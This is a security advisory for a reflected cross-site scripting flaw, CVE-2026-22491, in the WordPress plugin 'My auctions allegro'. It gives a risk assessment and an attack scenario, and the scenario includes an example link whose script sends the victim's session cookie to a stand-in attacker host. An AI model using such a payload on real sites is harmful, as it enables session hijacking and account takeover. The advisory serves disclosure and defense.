My Auctions Allegro CVE-2026-22491

WordPress plugin 'My auctions allegro' versions <= 3.6.35. Remote attacker crafts malicious URL with unescaped input. Victim must click the link. No authentication required. Default WordPress installations vulnerable.

While a CVSS score and EPSS probability score are not available, the vulnerability represents a moderate-to-high real-world risk based on contextual factors. Reflected XSS vulnerabilities typically have low attack complexity and require no authentication or user privileges beyond social engineering the victim into clicking a malicious link—factors that would normally classify this as high-impact if CVSS were calculated. The absence of a KEV/CISA listing and publicly available proof-of-concept code reduces immediate exploitation likelihood, though Patchstack's discovery and public documentation increase discoverability by malicious actors. The affected product is a free WordPress plugin, suggesting potentially broad installation base but likely lower security posture on affected sites. Absence of patch information raises concerns about remediation availability. Organizations using this plugin should prioritize assessment and either upgrade immediately upon patch availability or implement input validation workarounds.

An attacker sends a phishing email or posts a malicious link on social media targeting WordPress administrators or users of sites running the vulnerable plugin, crafted as follows: 'http://vulnerable-site.com/?param=<script>fetch("http://attacker.com/steal?cookie="+document.cookie)</script>'. When a victim clicks the link and the vulnerable plugin reflects this unsanitized input into the page HTML without encoding, the JavaScript executes in their browser, exfiltrating their WordPress session cookie to the attacker's server, enabling session hijacking and account takeover without requiring any special user interaction beyond clicking the link.